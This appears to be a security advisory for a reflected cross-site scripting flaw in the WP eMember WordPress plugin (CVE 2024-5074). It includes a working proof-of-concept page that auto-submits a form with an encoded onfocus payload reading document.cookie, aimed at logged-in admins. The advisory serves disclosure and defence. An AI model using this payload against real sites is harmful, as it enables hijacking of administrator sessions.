WP eMember < 10.6.6 – Reflected XSS | CVE 2024-5074

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Have a logged in admin open an HTML file containing the following:

```
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://www.tipsandtricks-hq.com/eMember-demo/members-home" method="POST">
      <input type="hidden" name="&#95;ajax&#95;nonce" value="5688987baf" />
      <input type="hidden" name="action" value="emember&#95;ajax&#95;login" />
      <input type="hidden" name="doLogin" value="Sign&#32;in" />
      <input type="hidden" name="login&#95;pwd" value="u&#93;H&#91;ww6KrA9F&#46;x&#45;F&quot;onfocus&#61;alert&#40;document&#46;cookie&#41;&#32;autofocus&#32;kauenavarro&quot;" />
      <input type="hidden" name="login&#95;user&#95;name" value="RDFYjolf" />
      <input type="hidden" name="rememberme" value="forever" />
      <input type="hidden" name="testcookie" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```